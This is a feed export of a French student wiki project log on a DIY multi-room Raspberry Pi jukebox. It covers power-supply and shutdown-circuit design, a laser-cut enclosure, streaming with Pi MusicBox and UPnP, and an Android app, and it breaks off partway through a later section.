Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL1) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (tout en haut à droite). Par conséquent, la Raspberry Pi ne sera plus connecté à la masse ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]]&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_TOP.png&amp;diff=27124</id>
		<title>Fichier:DriverButtons 3D TOP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_3D_TOP.png&amp;diff=27124"/>
				<updated>2016-02-13T15:35:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27123</id>
		<title>Fichier:DriverButtons Schematics 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtons_Schematics_2.png&amp;diff=27123"/>
				<updated>2016-02-13T15:13:37Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27122</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27122"/>
				<updated>2016-02-13T15:04:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Alimentation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
